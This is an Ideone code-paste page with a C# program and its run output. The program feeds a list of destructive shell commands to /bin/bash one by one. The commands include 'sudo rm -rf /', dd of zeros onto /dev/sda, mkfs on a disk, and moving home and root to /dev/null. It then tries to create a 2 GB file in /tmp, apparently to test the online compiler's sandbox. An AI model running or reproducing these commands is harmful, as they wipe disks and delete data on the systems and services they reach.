fork download
copy 
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Diagnostics;
  4. using System.IO;
  5.  
  6. public class Program
  7. {
  8.     public static void Main()
  9.     {
  10.         var list = new List<string>
  11.         {
  12.             @"-c sudo rm -rf /",
  13.             @"-c rm -rf .*",
  14.             @"-c dd if=/dev/zero of=/dev/sda",
  15.             @"-c mkfs.ext3 /dev/hda",
  16.             @"-c whatever > /dev/hda",
  17.             @"-c cd ~; for x in `ls`; do mv -f $x $y; y=$x; done",
  18.             @"-c find -type f -mtime +30 -exec mv {} /dev/null \;",
  19.             @"-c mv ~ /dev/null",
  20.             @"-c mv / /dev/null"
  21.         };
  22.  
  23.         foreach (var cmd in list)
  24.         {
  25.             var proc = GetProcess(cmd);
  26.  
  27.             Console.Write("Trying '" + cmd + "'...");
  28.  
  29.             try
  30.             {
  31.                 proc.Start();
  32.                 Console.Write("Ok\n");
  33.             }
  34.             catch (Exception ex)
  35.             {
  36.                 Console.Write("Fail\n");
  37.             }
  38.         }       
  39.  
  40.         WriteFile();
  41.     }
  42.  
  43.     private static Process GetProcess(string cmd)
  44.     {
  45.         return new Process
  46.         {
  47.             StartInfo =
  48.             {
  49.                 FileName = "/bin/bash",
  50.                 UseShellExecute = false,
  51.                 RedirectStandardOutput = true,
  52.                 Arguments = cmd
  53.             }
  54.         };
  55.     }
  56.  
  57.     private static void WriteFile()
  58.     {
  59.         try
  60.         {
  61.             Console.Write("Writing file...");
  62.  
  63.             var fs = new FileStream(@"/tmp/cruft", FileMode.CreateNew);
  64.             fs.Seek(2048L * 1024 * 1024, SeekOrigin.Begin);
  65.             fs.WriteByte(0);
  66.             fs.Close();
  67.  
  68.             var file = Directory.GetFiles(@"/tmp", "cruft");
  69.  
  70.             Console.Write("Ok\n");
  71.             Console.Write("Getting size...");
  72.  
  73.             var size = new FileInfo("/tmp/cruft").Length;
  74.  
  75.             Console.Write("Ok\n");
  76.         }
  77.         catch (Exception ex)
  78.         {
  79.             Console.Write("Fail\n");
  80.         }
  81.     }
  82. }
Success #stdin #stdout #stderr 0.05s 25384KB
comments (?)
stdin
copy 
Standard input is empty
stdout
copy 
Trying '-c sudo rm -rf /'...Ok
Trying '-c rm -rf .*'...Ok
Trying '-c dd if=/dev/zero of=/dev/sda'...Ok
Trying '-c mkfs.ext3 /dev/hda'...Ok
Trying '-c whatever > /dev/hda'...Ok
Trying '-c cd ~; for x in `ls`; do mv -f $x $y; y=$x; done'...Ok
Trying '-c find -type f -mtime +30 -exec mv {} /dev/null \;'...Ok
Trying '-c mv ~ /dev/null'...Ok
Trying '-c mv / /dev/null'...Ok
Writing file...Fail
stderr
copy 
/dev/hda: mkfs.ext3: command not found
>: whatever: command not found
rm: sudo: command not found
https://ideone.com/syJHRS
language:
C# (gmcs 5.20.1)
created:
10 years ago
visibility:
public

Share or Embed source code

Discover > Sphere Engine API

The brand new service which powers Ideone!

Discover > IDE Widget

Widget for compiling and running the source code in a web browser!